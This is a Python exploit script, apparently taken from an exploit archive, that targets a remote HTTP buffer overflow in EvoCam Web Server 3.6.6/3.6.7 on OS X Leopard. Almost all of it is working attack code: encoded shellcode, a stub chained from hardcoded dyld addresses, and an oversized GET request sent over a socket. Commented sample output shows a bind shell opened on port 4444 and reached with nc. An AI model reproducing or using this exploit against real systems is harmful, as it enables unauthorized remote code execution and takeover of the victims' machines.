Apple Mac OSX EvoCam Web Server 3.6.6/3.6.7 – Remote Buffer Overflow
#!/usr/bin/python # Exploit Title: OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 # Date: 1st June 2010 # Author: d1dn0t ( didnot __A-T__ me.com ) # Software Link: http://www.pizza.org/evocam.dmg # Version: EvoCam 3.6.6 and 3.6.7 # Tested on: OS X 10.5.8 Intel import socket import sys import struct from optparse import OptionParser # OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 # Tested on Leopard 10.5.8 Intel # Paul Harrington didnot __A-T__ me.com # #$ ./evocam.py -H 192.168.1.28 -P 8080 -T 2 #EvoLogical EvoCam 3.6.6/7 on OS X 10.5.8 Intel HTTP Buffer Overflow Exploit #didnot __A-T__ me.com #Targeting EvoCam Version 3.6.7 #[+] Sending evil buffer... #[+] Done! #[*] Check your shell at 192.168.1.28:4444 #$ nc -v 192.168.1.28 4444 #Connection to 192.168.1.28 4444 port [tcp/krb524] succeeded! #uname -a #Darwin Leopard-VM.local 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386 print "EvoLogical EvoCam 3.6.6/7 on OS X 10.5.8 Intel HTTP Buffer Overflow Exploit" print "didnot __A-T__ me.com" usage = "%prog -H TARGET_HOST -P TARGET_PORT -T Target " parser = OptionParser(usage=usage) parser.add_option("-H", "--target_host", type="string", action="store", dest="HOST", help="Destination Host") parser.add_option("-P", "--target_port", type="int", action="store", dest="PORT", help="Destination Port") parser.add_option("-T", "--target", type="string", action="store", dest="TARGET", help="Target Version [1=3.6.6 2=3.6.7]") (options, args) = parser.parse_args() HOST = options.HOST PORT = options.PORT if options.TARGET == "1" : print "Targeting EvoCam Version 3.6.6" BUFLEN=1560 elif options.TARGET == "2" : print "Targeting EvoCam Version 3.6.7" BUFLEN=1308 else: BUFLEN=0 if not (HOST and PORT and BUFLEN): parser.print_help() sys.exit() # Settings for Leopard 10.5.8 WRITEABLE = 0x8fe66448 SETJMP = 0x8fe1cf38 #$ nm /usr/lib/dyld | grep "setjmp" #8fe1cf38 t _setjmp STRDUP = 0x8fe210dc #$ nm /usr/lib/dyld | grep "strdup" #8fe210dc t _strdup JMPEAX = 0x8fe01041 #0x8fe01041 <__dyld__dyld_start+49>: jmp *%eax NOP="\x90\x90" buf = \ "\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24" + \ "\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2" + \ "\x05\x2e\xfc\x45\xd5\x11\xad\x17\x65\xf0\x80\x18\x8a\x71" + \ "\x64\x19\x94\x75\x10\xdf\xc6\x27\x70\x88\xe6\xc5\x65\x14" + \ "\x6f\x2a\xef\xb4\x3c\xfb\xa2\x04\xaa\xce\xc3\x17\x4d\x83" + \ "\x95\x85\x21\x49\xd7\xaa\x33\xd0\xb5\xf8\xe5\xbe\x89\xe3" + \ "\xc4\xbf\x98\x4f\x5f\x78\x6d\xab\xdc\x6c\x8f\x08\xb1\x25" + \ "\xc3\x3e\x6f\x07\x63\x4c\xcc\x14\x9f\xb2\xa7\xeb\x51\x75" + \ "\x17\x5c\xc2\x25\x27\x67\x2f\x45\xd7\x08\x93\x6b\xa2\x21" + \ "\x5c\x31\x81\xb2\x1f\x4c\x19\xc7\x08\x80\xd9\x77\x5f\xcd" + \ "\xf6\x04\xf7\x79\x27\x89\x6e\x14\xbe\xae\x21\xb8\x93\x60" + \ "\x72\x03\xde\x01\x43\xb4\xb0\x88\x47\x64\x60\xd8\xd7\xd5" + \ "\x30\xd9\x1a\x55\x01\x26\xf4\x06\x21\x6b\x75\xac" FRAG0 = "\x90" + "\x58" + "\x61" + "\xc3" FRAG1 = "\x90" + "\x58" + "\x89\xe0" + "\x83\xc0\x0e" + "\x89\x44\x24\x08" + "\xc3" # 0C is a bad character STUB = \ FRAG0 + \ struct.pack('<III',SETJMP,WRITEABLE+32,WRITEABLE) + \ FRAG1 + \ 'A'*20 +\ struct.pack('<IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX) + \ 'A'*4 BUFFER = "A"*BUFLEN + STUB + NOP + buf s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((HOST,PORT)) print '[+] Sending evil buffer...' s.send("GET " +BUFFER + " HTTP/1.0\r\n\r\n") print "[+] Done!" print "[*] Check your shell at %s:4444 " % HOST s.close() |